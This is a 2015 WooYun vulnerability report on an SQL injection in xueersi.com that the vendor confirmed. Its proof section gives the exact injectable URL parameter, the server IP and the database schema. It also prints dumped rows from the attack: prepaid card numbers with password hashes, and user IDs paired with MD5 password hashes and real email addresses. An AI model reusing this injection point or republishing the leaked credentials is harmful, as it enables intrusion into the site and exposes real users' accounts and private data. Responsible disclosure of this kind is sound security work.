当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096919

漏洞标题:学而思SQL一枚可致140万用户信息泄露和686万充值卡卡号和密码泄露

相关厂商:好未来集团学而思培优

漏洞作者: 雅柏菲卡

提交时间:2015-02-12 10:33

修复时间:2015-03-29 10:34

公开时间:2015-03-29 10:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-12: 细节已通知厂商并且等待厂商处理中
2015-02-12: 厂商已经确认,细节仅向厂商公开
2015-02-22: 细节向核心白帽子及相关领域专家公开
2015-03-04: 细节向普通白帽子公开
2015-03-14: 细节向实习白帽子公开
2015-03-29: 细节向公众公开

简要描述:

............

详细说明:

..................

漏洞证明:

http://www.xueersi.com/xes.php?source=860793&site_id=275&adsite_id=6966*
*号处为注入点
Target: http://www.xueersi.com/xes.php?source=860793&site_id=275&adsite_id=6966
Host IP: 42.62.108.136
Web Server: tengine/1.1.2
DB Server: MySQL error based
Resp. Time(avg): 1407 ms
Sql Version: 5.5.30-log
Current DB: wss
Host Name: mysql-93
Installation dir: /data/3306mysql
Compile OS: Linux
Count(column_name) of information_schema.columns where table_schema=0x777373 and table_name=0x7865735F636172645F696E666F73 is 7
Column found: id
Column found: cardno
Column found: xes_card_batch_id
Column found: use_time
Column found: passwd
Column found: consume_time
Column found: xes_card_status_id
Count(*) of wss.xes_card_infos is 6861740
Data Found: passwd,id,cardno=c36535e3b52ae12ee91fe485f10da2dd^1^100010000
Data Found: passwd,id,cardno=6e90697e469af28cae2d832afb60f0b8^2^100010001
Data Found: passwd,id,cardno=048fbf9e6ab96c7f6d5021950f4e020f^4^100010003
Data Found: passwd,id,cardno=f5ca54c298e4ebb2739a6da201dc79bc^6^100010005
Data Found: passwd,id,cardno=1b68eea1527f01d406f2308115165ad0^9^100010008
Data Found: passwd,id,cardno=6697eea00bcf0584ec2569fa77a96339^7^100010006
Data Found: passwd,id,cardno=fe8098a63571d867175432ec2697ce1c^8^100010007
部分充值卡的
Count(*) of wss.xes_students is 1398175
Data Found: id,password,name=
Data Found: id,password,name=10014^e10adc3949ba59abbe56e057f20f883e^lds01@xueersi.com
Data Found: id,password,name=10015^e4e1d11799d0d1cfbf5ec945310a4a2e^along@xueersi.com
Data Found: id,password,name=10017^e10adc3949ba59abbe56e057f20f883e^test999@qq.com
Data Found: id,password,name=
Data Found: id,password,name=10020^338f17e848877c2edddcb5223754c7c3^cucucyy1@163.com
Data Found: id,password,name=
Data Found: id,password,name=10022^e10adc3949ba59abbe56e057f20f883e^hegengfan@xueersi.com
Data Found: id,password,name=10021^e10adc3949ba59abbe56e057f20f883e^390422262@qq.com
Data Found: id,password,name=10024^e10adc3949ba59abbe56e057f20f883e^kel1216@pku.edu.cn
Data Found: id,password,name=10027^e5c0e4ebbafa1386c55a4e8d9ec1c7dd^lufeifei@xueersi.com
Data Found: id,password,name=10025^e10adc3949ba59abbe56e057f20f883e^lirui2@xueersi.com
Data Found: id,password,name=
Data Found: id,password,name=10041^136422818acf50e662b604c45ddb2924^phi@100tal.com
Data Found: id,password,name=10043^e10adc3949ba59abbe56e057f20f883e^xesxiao1@xueersi.com
Data Found: id,password,name=10042^e10adc3949ba59abbe56e057f20f883e^hongran19@sohu.com
Data Found: id,password,name=10045^e10adc3949ba59abbe56e057f20f883e^xesxiao3@xueersi.com
Data Found: id,password,name=10044^e10adc3949ba59abbe56e057f20f883e^xesxiao2@xueersi.com
Data Found: id,password,name=10046^e10adc3949ba59abbe56e057f20f883e^xesxiao4@xueersi.com
Count(*) of wss.xes_yxt_users is 21953
部分用户信息的

修复方案:

...........

版权声明:转载请注明来源 雅柏菲卡@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-02-12 13:32

厂商回复:

非常感谢,加紧修复中

最新状态:

暂无